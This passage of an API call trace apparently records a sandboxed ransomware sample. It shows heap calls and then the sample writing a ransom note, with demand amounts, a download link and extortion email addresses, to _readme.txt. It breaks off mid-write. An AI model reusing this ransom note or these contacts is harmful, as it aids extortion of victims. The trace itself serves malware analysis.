Flags=0x0, Size=0x20) returned 0x325f920 [0066.612] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.612] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.613] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.613] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.614] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.614] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.615] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.615] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.616] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.616] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.617] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.617] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.618] PathFindFileNameW (pszPath="C:\\Boot\\zh-TW\\") returned="zh-TW\\" [0066.618] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.618] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.618] PathFindFileNameW (pszPath="") returned="" [0066.618] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.618] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.618] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.618] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.618] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.618] PathAppendW (in: pszPath="C:\\Boot\\zh-TW\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 1 [0066.618] PathFileExistsW (pszPath="C:\\Boot\\zh-TW\\_readme.txt") returned 0 [0066.619] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.619] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.619] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\_readme.txt" (normalized: "c:\\boot\\zh-tw\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.619] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.619] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, 